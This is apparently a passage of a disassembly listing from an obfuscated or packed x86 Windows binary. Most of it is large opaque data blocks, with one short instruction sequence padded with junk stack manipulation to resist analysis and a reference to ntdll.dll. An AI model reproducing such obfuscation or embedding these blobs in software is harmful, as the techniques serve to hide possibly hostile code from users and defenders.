		dd 9Ah,	0F7D77FCBh, 0EDCD81D1h,	0F1D179CBh, 0F2D080CFh
		dd 0F3D381D0h, 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h
		dd 0D521FBFh, 0B7157ED8h, 70D24716h, 0BF02BEA3h, 0BF555D87h
		dd 92C3E081h, 1685D607h, 7A5CED30h, 634565E7h, 9AEB7AD2h
		dd 0FCC4A693h, 3DB08FB0h, 0F8448FE1h, 3B19A8AAh, 2D8AEB2Ah
		dd 44905EB8h, 0DEE627F8h, 0DA6B17B4h, 0DB6E5472h, 4DDEE071h
		dd 0F41E3203h, 321AAB57h, 311BAE94h, 2FFC2320h,	55ED9B3h
		dd 51E074C1h, 0DD6D5130h, 36C6771h, 0D2000000h,	71BDE17Bh
		dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h
		dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 83221524h, 3C8904ECh
		dd 81E78924h, 4C7h, 4EF8300h, 5C243C87h, 81E68956h, 4C6h
		dd 4EE8300h, 5C243487h,	68242C89h, 49F8h, 57240C89h, 5C175ABFh
		dd 2EB5BD38h, 0FD01CDBDh, 81243C8Bh, 4C4h, 4EC8300h, 81242489h
		dd 42404h, 50590000h, 868h, 0C8015800h,	0FF582889h, 83592434h
		dd 34FF04C4h, 0C4815D24h, 4, 0FA201FE9h, 0CDB825FFh, 3061960h
		dd 85C650C5h, 61311E1h,	17256847h, 0B5FFCF38h, 613116Dh
		dd 3AAD858Dh, 0D0FF0613h, 858DD88Bh, 6132609h, 1046850h
		dd 0D3FF0000h, 11E185C6h, 68530613h, 8307F8BFh,	116DB5FFh
		dd 858D0613h, 6133AADh,	8589D0FFh, 61943D9h, 1F95BD83h
		dd 0F000613h, 0B84h, 819D8B00h,	0E9061330h, 5, 0BBh, 1006800h
		dd 0B58D0000h, 61943DDh, 95FF5356h, 6131925h, 43DDB58Dh
		dd 0F0030619h, 1E9h, 3E804E00h,	9840F5Ch, 80000000h, 850F2F3Eh
		dd 0FFFFFFEDh, 8D0006C6h, 1943DD85h, 95FF5006h,	61943D9h
		dd 0EBE0FF58h, 66175D7Dh, 0F414477Ch, 363C705Fh, 0D94769A3h
		dd 8C3F58C2h, 5B5787A8h, 35171906h, 9F13FF5Fh, 4222C227h
		dd 7E1D21F4h, 944999C1h, 0E874DE67h, 8,	6B9EFE0Eh, 59B7F301h
		dd 0B95858B1h, 18E35D50h, 62A0C081h, 28B10000h,	68h, 820F00h
		dd 5B000000h, 0DAD5B966h, 570334FFh, 14E9h, 7B3A0900h
		dd 7C9B8627h, 0B1D94547h, 0CC43ACADh, 0C27DF0ACh, 665E5972h
		dd 0F681CB8Bh, 2384F5F9h, 82FABF66h, 2DA9F681h,	8B6636F3h
		dd 0C2EE81D3h, 6611AA56h, 56B5F3BAh, 8F5FFC53h,	8B661804h
		dd 17800FD1h, 0E8000000h, 0Fh, 8DC94E4Fh, 24888EE7h, 792D36D0h
		dd 8A8B1C2Ch, 0EB835AF5h, 8E904h, 6F000000h, 7A420349h
		dd 0FB8179DDh, 0FFFF9E18h, 0FF7E850Fh, 0DE9FFFFh, 6A000000h
		dd 89CC0E81h, 5D6B2A6Bh, 0F248A4AFh, 0FE8h, 0D1C36000h
		dd 0F9EFAA4h, 65B4545Ah, 33AECC65h, 284DC181h, 805A5A06h
		dd 0C281C9E9h, 5E1Ah, 0FE9h, 7EAA0700h,	0F20ECF4Ch, 7127BC53h
		dd 72C3EBCAh, 175068h, 8E0F00h,	58000000h, 14E8h, 0DFE50F00h
		dd 0DEE88B2Bh, 7F712244h, 535E4FBAh, 0D58CF388h, 5B3BB198h
		dd 0C681328Bh, 14BB0D98h, 0C2C3EE81h, 0E8601E0Ah, 7, 2B6658h
		dd 0F320947h, 0E95EF0BFh, 0Ah, 2DD69FE9h, 60158619h, 81618064h
		dd 52EB49C6h, 56CF8A0Bh, 0A860Fh, 8F0F0000h, 4,	0B915BF66h
		dd 0BF66028Fh, 0EA810E88h, 109D282Eh, 38BEDF81h, 0C2813AA6h
		dd 109D282Ah, 0A4F1E4B9h, 1E88135h, 0F000000h, 0FFFF8F85h
		dd 0C860FFFh, 0F000000h, 687h, 8A0F00h,	8D000000h, 1964678Dh
		dd 3FC6006h, 130DAD85h,	8D896106h, 6131BBDh, 1F58529h
		dd 0BD0B0613h, 6131999h, 18DD85C7h, 6E580613h, 8B660000h
		dd 5585C7C2h, 61330h, 0F000000h, 1988h,	7E800h,	28B00000h
		dd 69D76843h, 7E94Fh, 180A0000h, 34A819D7h, 0B58B5A5Eh
		dd 61313A1h, 13D1B5FFh,	6A0613h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 440887C3h, 0BB18FA4h
		dd 95FFA1B0h, 6131D89h,	1AA99D29h, 6A0613h, 0DA995FFh
		dd 0C08B0613h, 930F3AEBh, 2F6E49C0h, 0CF6F56BEh, 0D02B16EBh
		dd 0FCD1AB17h, 0DF9D3384h, 0B6DB48D3h, 736BC0E5h, 1ECA4233h
		dd 0A5746C49h, 10336CEh, 40BF685Bh, 4A2144F3h, 0CFF9CFEDh
		dd 78E1D9D5h, 45E9h, 27561D00h,	1D8C9344h, 81E89DE6h, 64746E2Eh
		dd 642E6C6Ch, 67006C6Ch, 3B2BD14h, 0FEB980h, 9 dup(0)
		dd 14E90000h, 68000007h, 619664Eh, 0FA1C63E9h, 672D68FFh
		dd 59E90619h, 68FFFA1Ch, 61967B8h, 0FA1C4FE9h, 68AA68FFh
		dd 45E90619h, 68FFFA1Ch, 6196986h, 0FA1C3BE9h, 6A7068FFh
		dd 31E90619h, 0EEFFFA1Ch, 0F2D8F660h, 0EAD0EE60h, 0F4D6F456h
		dd 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah, 0E270C0E2h, 0FF49DEC4h
		dd 0E468F9DFh, 0A3D2FDC6h, 16B71A27h, 0C485B9F0h, 40h
		dd 0E06CBD6Ah, 0FE4EDFC3h, 25377F6h, 1B4A6D4Ah,	109DB4BFh
		dd 5AEB63F3h, 0DFE92C3Bh, 0B50482F1h, 5D45109Dh, 0DF69BECDh
		dd 4C6EAFBEh, 4B8D57FDh, 5E968AF8h, 0A50A6682h,	0E8293814h
		dd 70CAE889h, 351E0C2h,	7BD60D32h, 4A2F903Eh, 4C95A12Bh
		dd 23B59D3Ah, 4DC09D27h, 168F1160h, 8278409h, 8B1179D5h
		dd 0D602AA0Ah, 6265680Eh, 0B928B0D5h, 8B2BCA48h, 0D6B3060Ah
		dd 1B7ACB85h, 56E7EB7Ah, 842667F6h, 0DA4E1F35h,	0AB322398h
		dd 153DEA5Fh, 984088C4h, 5AAC9DD8h, 21C80h, 0DD6F5300h
		dd 8E0466Dh, 7C425E24h,	0D0B9EA74h, 0F7D4B2B7h,	8EA5E786h
		dd 7295F816h, 0A0026ADBh, 0D1B5ACCEh, 0E79683F2h, 0DE3F4C4Ch
		dd 4E38318Fh, 0FACFFC71h, 0D93C4636h, 0C785D8FAh, 0DC70C1E7h
		dd 0B62F1DA9h, 5A7736AFh, 501h,	3797BF0Bh, 2D8DC111h, 3191B90Bh
		dd 3290C00Fh, 3393C110h, 6FBE2F00h, 55E3C5E5h, 68FBDDFDh
		dd 4DE0C2E0h, 0CD12DFFFh, 0B71B3E98h, 0B0920716h, 0B3226CBDh
		dd 109DB557h, 0AFDEFD20h, 109DB533h, 69F899FCh,	57F5486Ah
		dd 9038318Dh, 9DB5015Dh, 0ABA73510h, 2923B69Ch,	5B8A2948h
		dd 168E963Eh, 61F2D8F7h, 4E3F5EEFh, 0A8A93D4h, 0F370789Dh
		dd 810A3492h, 268501E8h, 7B8536B7h, 25C64710h, 0D9DAC3A8h
		dd 0CEB8B17Bh, 0B4B17CF1h, 0E5CA71CAh, 5C7EFF86h, 16E76D9h
		dd 0B18ECD9Ch, 0C6BBE23Ch, 70EA1B65h, 3965C6BCh, 0BE0687D4h
		dd 0C01F6782h, 0B4CFFE4Dh, 6AF7DB6Bh, 85E2EAh, 1E2E7FA3h
		dd 444699C1h, 0B03FB511h, 7E1F7E5Fh, 3826AEEFh,	0D88DBF12h
		dd 0D5340558h, 2293CE5Dh, 0EA000004h, 0F6DCFA5Ch, 0E6CCEA64h
		dd 0F8DAF852h, 0E7C9E967h, 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh
		dd 0BB8D2208h, 0A8A4351Bh, 0EF1E410Ah, 16B71C73h, 0C279E53Ch
		dd 0B51670E5h, 0BEDF109Dh, 0BB912436h, 33538EAAh, 0B18C6194h
		dd 8005168Eh, 8BFBE622h, 0CB0EB92Ch, 4C731071h,	0FAE37539h
		dd 0D3A616E4h, 0B56A8B30h, 0FF36F9Eh, 59BC0471h, 587A5938h
		dd 41674705h, 0AF0D5CF0h, 7EEFCCBAh, 0A6205F3h,	0D684F91Ch
		dd 773E1B7h, 3976560h, 0E9750000h, 0DB6B4D6Dh, 0DB6D5373h
		dd 0DA694F6Fh, 0E3725876h, 0CD625171h, 634311A0h, 4363EF3Dh
		dd 607ECA5Dh, 4565E77Ah, 0A822537Ch, 7116B71Bh,	6CBD0638h
		dd 51DFC3E0h, 0C28B701h, 5B10EBD5h, 6EFE60FCh, 643DB00Fh
		dd 25168F6Eh, 52DFC3E0h, 56B6AE3Ch, 8AEB04DFh, 0A2755ABBh
		dd 4A247A26h, 11302EB6h, 1CAh, 0ACD5B9ADh, 83F2D1B5h, 168EA5E2h
		dd 0B5114463h, 7E0A8AA2h, 0F518D51Fh, 7BEACD12h, 0A8AA31Fh
		dd 0EC1BA5E8h, 0DF8E32AEh, 90FB4B6Fh, 6A721341h, 5473134Eh
		dd 3EA18821h, 3504891Bh, 0D8223116h, 0ECEDEAF2h, 3291D8E4h
		dd 0AE04AB9Dh, 9362660Dh, 8CAE0D6Ch, 0CCB0173Dh, 0A6593CD8h
		dd 0E3123F89h, 15287494h, 0C589D901h, 57741574h, 4D6AE273h
		dd 56F4486Ah, 23E3AB27h, 0C7117409h, 3616A789h,	0A7AAA543h
		dd 2E2BC27Eh, 2A5h, 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h
		dd 5777DD6Ch, 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch
		dd 59764363h, 0B71CAA24h, 441E7316h, 0C3E06CBDh, 6DFC4CDFh
		dd 3F30D966h, 0B3D257F8h, 637EBA29h, 0A9E8423h,	2A5B7840h
		dd 168F4AEFh, 8FC11238h, 0E0899BEh, 5E597808h, 59815E3Fh
		dd 1B31840Bh, 22AACB4Ah, 0C1341334h, 0A8BA845h,	0D966EA79h
		dd 0B9262CB4h, 6A5E108h, 0A0B40129h, 9948E918h,	0E1C9107Ch
		dd 12310054h, 789767E3h, 8CED3004h, 0ADE06B27h,	0B03852AAh
		dd 9C31D233h, 92572B23h, 0B9167079h, 878FAD44h,	19411E7Bh
		dd 7DD988CCh, 466F837Bh, 2D70FDC7h, 0BDC9201Ch,	8FA0EF1Eh
		dd 880D7571h, 96B6072Bh, 8DBF1238h, 0F0C636D8h,	0ADA83FDEh
		dd 1C9h, 7F5FF743h, 65450959h, 7959F143h, 6A480857h, 7B5BF948h
		dd 3786E748h, 4D9BBD1Dh, 3083A505h, 4598BA18h, 0B59AA707h
		dd 0B71DC640h, 281A8F16h, 1670E5C2h, 0DF109DB5h, 0B5118D00h
		dd 0BBDA109Dh, 6DC012DAh, 0B572EC21h, 0DA3B109Dh, 0BBC645F5h
		dd 2C4DC37Dh, 0BCCA1F1Dh, 3F1BEE1Fh, 7194168Fh,	0BEA3F751h
		dd 67C4EBC8h, 9B8A1F9h,	6499C60Eh, 168527A5h, 5CF24466h
		dd 19B6D794h, 9FAEA231h, 0A6D14DC0h, 7B9A0A84h,	9D85D21Ah
		dd 4062400Ch, 0F26CA1EDh, 2B0A84A6h, 84A760BAh,	57E4290Ah
		dd 0AA065736h, 9BB104BFh, 0D7A8DDFAh, 0BC106BC2h, 0C0084296h
		dd 0DDC5E223h, 62EE3D4Ch, 0F3D3B2D3h, 81D07CCDh, 6B483E23h
		dd 0F5476B4Ch, 0D4850455h, 46B427Ah, 8BFAC243h,	0A5C224Eh
		dd 39037697h, 6E73DBE8h, 0DFA2BFh, 0A12D0000h, 0A33315B5h
		dd 93250BABh, 0A23117B7h, 9B2A10AEh, 52A19B9h, 0DBFB59E8h
		dd 0CBEB67F5h, 0D8F652E5h, 0CDED5FF2h, 30AADB04h, 0F916B71Fh
		dd 0BEA3BEA0h, 0C57AEBC8h, 0B21684D0h, 215BF68Dh, 1071C094h
		dd 889194ABh, 83C3F955h, 2243C20Ah, 0C3F65085h,	5EBF0A83h
		dd 0A5B4D996h, 0E87910A1h, 81A60564h, 2BBA0749h, 70218229h
		dd 1B3D1BA5h, 42B382CAh, 4C8A2F5Dh, 0EA7BD765h,	66F755E8h
		dd 0AC9932A0h, 30E2579Bh, 0F359EC9Dh, 0BB0E3492h, 0C0103291h
		dd 7ECF7FCFh, 0F7767E1Fh, 0E665EFD8h, 0D4A50AB7h, 0D779CA0Ch
		dd 0AB205286h, 0C8E666F7h, 0DC74C3E7h, 55F9498Dh, 17AAAC34h
		dd 1FB49635h, 0EC7DD766h, 7EEFCCADh, 0C8469D24h, 0C120A8EDh
		dd 0C84h, 5E7B2A00h, 0FD2C1F79h, 47917A45h, 0E571BD8Dh
		dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h
		dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 89502215h,	405E0h
		dd 0E8830000h, 24048704h, 2404895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	58443B6h
		pop	ebp
		inc	ebp
		add	ebp, 95217Ah
		push	ebp
		pop	edi
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	298Dh
		mov	[esp], ebp
		mov	ebp, edi
		mov	[ecx+8], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 28h
		dd 0D553E142h, 0B8744705h, 6196B74h, 0E0FFC503h, 496571F8h
		dd 68C4D3F2h, 5BDDE22Dh, 7D865DFDh, 6A479F8Fh, 23EA76F0h
		dd 41894F46h, 44652C67h, 4551BEB0h, 62D68EC7h, 0D640927h
		dd 23A39CD2h, 3E79D1BEh, 3DF83083h, 5E14DC3Eh, 53204073h
		dd 50E2694h, 2EB23346h,	48AD5813h, 5D91099Bh, 28E6210Bh
		dd 4892512Bh, 5792AD77h, 6F9D87B9h, 1B5C0ACEh, 493721C2h
		dd 7AA75A65h, 7B60EBA3h, 6158FAB8h, 12E8h, 0B1BE9000h
		dd 98A55684h, 88AF316Ah, 5E19D58Fh, 66DB8D75h, 5FD64BBEh
		dd 0CBD28160h, 0F81090CDh, 95C78161h, 68000074h, 1CEEh
		dd 0F0B70F5Ah, 810F37FFh, 0
		dd 6E958h, 0B76E0000h, 897225EAh, 0B8F6F081h, 0BE6603B2h
		dd 0E881E1A2h, 66BCABF0h, 0CEC7E881h, 0EE922F9h, 47000000h
		dd 3DF268B8h, 50FFD0A3h, 0D690B5A8h, 0F38150E8h, 1C4E59F6h
		dd 0C381078Fh, 202CED3Ah, 463DEF81h, 0DE9158Ch,	84000000h
		dd 0DE4CBFh, 0AB2746B0h, 3287D441h, 4639C781h, 7E9158Ch
		dd 0C5000000h, 50517968h, 0EA8188EAh, 1, 0F850Fh, 0E9FC0000h
		dd 2Ah,	6CAE8FFBh, 1E8DB653h, 0CE8EAh, 48190000h, 23EF63D1h
		dd 17C8B694h, 0C9809A13h, 55E95B3Ah, 0BDFFFFFFh, 413013B5h
		dd 23E977F3h, 0E7000000h, 30333Dh, 7 dup(0)
		dd 0A8E90000h, 68000004h, 6196EA4h, 0FA13BFE9h,	6F1568FFh
		dd 0B5E90619h, 68FFFA13h, 6197067h, 0FA13ABE9h,	70E674FFh
		dd 70DE7052h, 6EDC7052h, 77D96A50h, 70E47157h, 9FCC6352h
		dd 3E644212h, 644664EEh, 775979CFh, 7B4866E6h, 21A52154h
		dd 3B6E16B7h, 70E5C207h, 109DB516h, 0F2BD0E47h,	0AEBD3A19h
		dd 0E673656Fh, 6AFBDF6Eh, 9DC4C4E2h, 93997923h,	0FB9ACB38h
		dd 0E82CA9DCh, 90F5168Eh, 0E5D230C1h, 0BE0E0A8Ah, 0ADCC80D1h
		dd 292BBA9Ch, 0AE4BC718h, 0F794FEC7h, 0ACDB07D5h, 0E4C6E95Ah
		dd 2B6AFB51h, 8AF1E03Ah, 5C64A90Ah, 2BB45h, 0DFB91900h
		dd 783F2D5h, 0D0109DB5h, 3237834Dh, 67067754h, 78168EA5h
		dd 85ADF215h, 0C8491834h, 0C1788100h, 0BFAAE7E5h, 8075E8C7h
		dd 7913162Eh, 29064514h, 122C5AB4h, 331C2307h, 6A71DDC2h
		dd 88B43C5Dh, 57862561h, 0D02B4A2h, 0F5DDFA1Bh,	0E8CAE864h
		dd 6C82F755h, 7D76826Eh, 2FBF3EEh, 0D5610000h, 0AFFF2181h
		dd 0C7193F9Fh, 0AEFD2383h, 8F1E04A2h, 79B6E5C5h, 2F8FC514h
		dd 3797BB09h, 2C8ABE11h, 3999B306h, 64BE2F30h, 2D16B723h
		dd 0BEA34AF4h, 0B57FDB0Ah, 0C548109Dh, 0EBD607A4h, 441684DAh
		dd 4798F263h, 3C610A84h, 0F9D637B4h, 0F2D084D1h, 82D381D0h
		dd 84D05D45h, 0FD8C54B5h, 0E948DE9Ah, 90C587DAh, 80081644h
		dd 8AEFEA81h, 0D2000002h, 0CEF4D284h, 0CEF4D27Ch, 0D0F2D07Ah
		dd 0CFF1D17Fh, 0C1F4D282h, 0A4B0FD6Eh, 0BE942406h, 0A3A53A20h
		dd 0C08C1D03h, 87F6D9E2h, 16B7240Bh, 0A3A1BDD4h, 7AEBC8BEh
		dd 1684DA8Fh, 7441578h,	0AABB9323h, 0BD194C6Bh,	860A8447h
		dd 0D04EBD07h, 270A8447h, 6E2E4EEBh, 0D65AA775h, 18Ch
		dd 0E06CBD6Ch, 0B2DC6D51h, 0B4E66095h, 6EAF109Dh, 9DB4A3FFh
		dd 5238D410h, 0B12F19D0h, 0A40263A2h, 0DC437D64h, 0CF853858h
		dd 5E8F2C4Dh, 168EF023h, 0A9D869ACh, 0A8AEC29h,	0DD6F5380h
		dd 33BDDC6Dh, 98B760D9h, 8AEBE965h, 8953B20Ah, 0ACD103D1h
		dd 31AB5Ah, 260C0000h, 0A52FB993h, 0EBC8BEA3h, 8E989B7Ah
		dd 18296C16h, 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 3887AB5Ah
		dd 0B7054918h, 2A4BCA9Bh, 0CE7BA2h, 0BDDF0000h,	6D51E06Ch
		dd 626AEE0h, 3A6AA8DAh,	36074598h, 0A3A7B6D7h, 2C2B3A12h
		dd 0CD9CB606h, 0FF52844Ch, 67506D4Dh, 0E1345F1h, 67E3126Ah
		dd 30109EA8h, 0BE2F8CEDh, 109EA864h, 0A1E0E82Dh, 109EA3FFh
		dd 0C01E2E7Fh, 0BE1D6980h, 0A2F26CA1h, 5ABB109Eh, 9C104592h
		dd 99168900h, 0E6735774h, 0DB6A506Eh, 0C9BA0479h, 44E3800Ch
		dd 13809h, 0C0962400h, 0E06EC0E2h, 0FE4CE0C2h, 0E769FAE0h
		dd 54E1C7h, 4FBC73A2h, 4E745202h, 547654FEh, 476949FFh
		dd 6B7856F6h, 2495F164h, 4B5E16B7h, 4FE0C217h, 4895B701h
		dd 7456FA49h, 0BBDA6BE1h, 83D2FDDAh, 8E168197h,	0F52D0F06h
		dd 7F1EC1C0h, 0F0416775h, 19587F5Ch, 0E915FB48h, 83DDFBC5h
		dd 51E06CBDh, 52005072h, 57F5488Ah, 54323777h, 0FB130677h
		dd 49CC168Eh, 5BF9486Ah, 648A087Bh, 73C60A8Ah, 6570EA1Bh
		dd 0D4390A8Ah, 0A63315B5h, 0A2C29FAEh, 20000000h, 0DB0ABEA3h
		dd 109DB57Fh, 7A4C548h,	84DAE7D6h, 0A4B5D816h, 9D3D0FA2h
		dd 0CD5F2ABBh, 64E7EC7Dh, 1BA3A834h, 1A2B4A2Bh,	8CC8153Dh
		dd 0F5945CBDh, 209EBD04h, 25BACB60h, 0CFF34223h, 3F80D181h
		dd 7CCFB653h, 7CCD85F6h, 7DD0F2D0h, 0B5C7ECFh, 80D2F445h
		dd 2D607FCEh, 0D45A25B1h, 27B71B7Ah, 4CFFBC61h,	4C2DF39Dh
		dd 54E5A7FDh, 0E1B9379Bh, 442583B1h, 44644B70h,	1930BCD9h
		dd 3FBC569Eh, 6B20B298h, 451475DDh, 87DAFCC4h, 72C3E5C5h
		dd 88D5FDDAh, 0D41C7DCCh, 33815h, 7B960000h, 0E571BDE1h
		dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h
		dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 0F3682215h, 89000062h
		dd 0B9512424h, 4, 4244C01h, 0E0895059h,	405h, 4E88300h
		dd 5C240487h, 68240C89h, 5194h,	52241C89h, 3748D968h, 554A5A1Ah
		dd 0E224DFBDh, 5DEA01EBh, 545AD189h, 83241C8Bh,	0EC8104C4h
		dd 4, 8F240C89h, 34FF0843h, 0C4815B24h,	4, 52240C8Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 25E95C24h, 18FFFA0Fh, 0B8BF9649h
		dd 61971C4h, 0E0FFC503h, 8F26C9h, 5DA36D99h, 1EEE3054h
		dd 3DCE78CDh, 4B355DDDh, 0E2AD262h, 20756877h, 5645D8E6h
		dd 4CFD250Eh, 1E03C86Bh, 70494BD1h, 7618303Ch, 14751F72h
		dd 5D0C155Ah, 7C9DED9h,	79CD7C58h, 3A6A1657h, 481F558Bh
		dd 64B09E64h, 11E8h, 4FEF7F00h,	6784F0BDh, 889AF3EEh, 0CC9CDEB0h
		dd 0F0807DD7h, 0B8665F1Dh, 0C7819667h, 5A4Ch, 80D38B60h
		dd 0BB617EF5h, 165Ch, 0F8BF28Bh, 81F18B66h, 1A1046C1h
		dd 38D0F7Ch, 50000000h,	0E9815EF9h, 4B2DCF84h, 5890Fh
		dd 81660000h, 81CDE3DAh, 9A8EDC1h, 0BE90Ch, 86F40000h
		dd 8707AD9Ah, 0E51FE54Fh, 8B66512Fh, 60078FC7h,	0FE9h
		dd 47FF1D00h, 567EF4AEh, 0A55A762Fh, 0D05BC954h, 3EF8361h
		dd 0DE8h, 8A513300h, 0C936E454h, 8564C305h, 0B8668BA1h
		dd 4F5A34ADh, 6E9h, 0AF1F4F00h,	4BE60716h, 10850Fh, 0C78B0000h
		dd 28E9h, 98E1600h, 0E383F99Bh,	0BE94417h, 0DD000000h
		dd 246D881Dh, 9B3656A7h, 57E9530Ch, 0DFFFFFFFh,	28DB2A7Bh
		dd 4E1176C4h, 2C8D8D3Bh, 6A061974h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0DEFFC356h
		dd 6D770F51h, 0F08B66C9h, 1BBD8D89h, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 9C2484C3h
		dd 24BF66F2h, 0DD85C7A4h, 0FC061318h, 8B000068h, 1331559Dh
		dd 5585C706h, 61330h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 8F50C350h, 3243EAADh
		dd 0FFF43020h, 13302DB5h, 6D858906h, 0FF061315h, 131D8995h
		dd 719D8B06h, 6A061311h, 0A995FF00h, 8B06130Dh,	0A27FEBC0h
		dd 1E6D4AA1h, 9EFDE2CAh, 0CACEB128h, 0D6E64FB2h, 8DC10376h
		dd 0C20AFC6Fh, 352129C9h, 2D4A619Dh, 7C1CAF05h,	4E6F6FF6h
		dd 64C14829h, 6047B113h, 405A6366h, 0A327CEC4h,	574D4182h
		dd 90F607A6h, 50D5E21h,	0E125F34Fh, 966C438Ch, 0BD939A44h
		dd 15D35AECh, 3488BCBh,	43484B73h, 24122B48h, 528ABF52h
		dd 2ED32595h, 0E35307B9h, 924F3E27h, 6629F4CFh,	2229982Ah
		dd 9C7E224h, 8D8D0CB2h,	6197557h, 11D59D8Bh, 8D890613h
		dd 6131BBDh, 0C7F3B70Fh, 1318DD85h, 58D806h, 2D853100h
		dd 0C7061331h, 13305585h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 13E7D8F0h
		dd 76F2432Ah, 1011CE81h, 0EDB657C4h, 13D1B5FFh,	0B58B0613h
		dd 6130AA9h, 8995FFFCh,	6A06131Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 4818C352h
		dd 0BCA309E6h, 6052F717h, 1EC58D89h, 89530613h,	1325CDBDh
		dd 6A5806h, 0DA995FFh, 0C08B0613h, 0FAA73AEBh, 7B32943Fh
		dd 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh,	0FD0D3A7h
		dd 6605AAFCh, 1D80F83Eh, 45E2C20Dh, 0A33CB076h,	4A4B0581h
		dd 8A6E6AFFh, 4787CF3Bh
		dd 0DA006866h, 29E9h, 85C27F00h, 4Fh, 8	dup(0)
		dd 0FBE90000h, 86000004h, 9AC01E38h, 82A80648h,	9CBE1C2Eh
		dd 83A5054Bh, 8DC01E36h, 58FC49A2h, 4A08587Ah, 57F1466Ch
		dd 4C005177h, 0B7A656Eh, 16B7298Fh, 0BD1D4158h,	6D51E06Ch
		dd 735774E0h, 0B9D869E1h, 1E04212Fh, 5675C48Eh,	9DB4AB27h
		dd 70117410h, 0B6D36668h, 0FB1A2B25h, 0A3123D9Ah, 0ABBE6107h
		dd 69AB2756h, 1174109Eh, 0D5F96870h, 99B50584h,	0D56569F8h
		dd 0FB77E879h, 6EED97Eh, 93A3FA91h, 1AABAD37h, 19AE9432h
		dd 0D3C53569h, 751459B2h, 0A5E07355h, 0EC2D3C18h, 0C09FBC8Dh
		dd 9DBBD14Dh, 717B9A10h, 0B081D15Fh, 489BBF9Ch,	8D03100h
		dd 785A0D7Eh, 0B8D968E6h, 1891E30h, 9DBC128Ch, 0DBBADB10h
		dd 0C884D5FBh, 0DA7AC7EBh, 23C20A8Bh, 0E28AFB24h, 17B2F176h
		dd 7D223DB8h, 99232DB7h, 9E13EB6Ah, 55E66410h, 41B56927h
		dd 64D1A3h, 0BD650000h,	2051E06Ch, 109DB4A4h, 0DC007919h
		dd 0A341EA1Ch, 6C4h, 0A3331700h, 0BDB721ABh, 6E50E16Dh
		dd 3020AFDCh, 0B081E021h, 0FD503D8Eh, 0B5025C91h, 4ACB109Dh
		dd 9AFB1A2Bh, 61DA18CBh, 0EA6499B6h, 0B3109DB4h, 0E9BD6D52h
		dd 97B83743h, 93BB0B4Dh, 0F5FF0B34h, 0BEC45D09h, 3B85E46Eh
		dd 0A2AA3B1Dh, 70BDA604h, 0E17155E4h, 9C36DC6Dh, 6EE6731Fh
		dd 0FB4B6F50h, 0F6478953h, 71C30756h, 0F34688D9h, 0D1C30859h
		dd 29E4BB8h, 103A8E30h,	3ACF3941h, 7308824Bh, 41229B49h
		dd 6243A3h, 0BD170000h,	7155E470h, 89DA6BDFh, 73C27009h
		dd 52DFC1E1h, 0C00F3302h, 6E98C190h, 0E8F1AFDDh, 0AF93A341h
		dd 6FD96E21h, 16DE3F0Eh, 4F8Fh,	70BDB300h, 547655E4h, 99F849FFh
		dd 0DBAAFD4Fh, 5D8BFC8Ah, 1F31C375h, 0CFAEEF7Eh, 0D577CAF0h
		dd 577B5C0Bh, 0BA0D35E2h, 0B69C2C8Eh, 7C5E66A7h, 0E94767EDh
		dd 50E16DBDh, 9DB4A021h, 791910h, 41EA1CDCh, 6C4A3h, 33170000h
		dd 0BA24ACA4h, 4346DDC2h, 142EBACEh, 14368ACCh,	0A85090B7h
		dd 26F3B0C0h, 0BA0B4F9Eh, 638DC392h, 0C71941E6h, 0AEC266BDh
		dd 80E18FE5h, 468850B1h, 84495F2h, 144D4969h, 31205572h
		dd 0E2168F72h, 1DB092A3h, 18A98F2Fh, 78D42534h,	0B10A8B70h
		dd 67FAA821h, 52E3C5E5h, 0AAF57234h, 751489C2h,	0A7E07456h
		dd 0E4253414h, 8B55B485h, 1F67FADCh, 3E8F7C78h,	0F9DE3F0Eh
		dd 0CEF043EAh, 0A0B1D07Ah, 27DB70DAh, 0EE66F396h, 0C5932F8Fh
		dd 6D5AAC73h, 130h, 0C8BEA3D1h,	0BC377AEBh, 4DD0168Eh
		dd 8D00DFFCh, 0A8AA611h, 90ACF5DAh, 3E55A064h, 0F243955Fh
		dd 3567C5Ah, 83D6F849h,	0F89278C9h, 0CE7ECF83h,	5EEBCFF0h
		dd 0A676EEF6h, 0E5AAD61h, 6Dh, 9BDDC234h, 1068134h, 0BFA814DCh
		dd 0F571E4C3h, 0FE6F629Bh, 0E33FCE9Fh, 0E5909E04h, 2CA6D7F8h
		dd 0F5909E05h, 4DBE4890h, 2B29B89Ah, 0C5F1FB1Ah, 0B995259Ah
		dd 0B786C215h, 65983756h, 0EF629BC9h, 0F15FF0D2h, 2A153290h
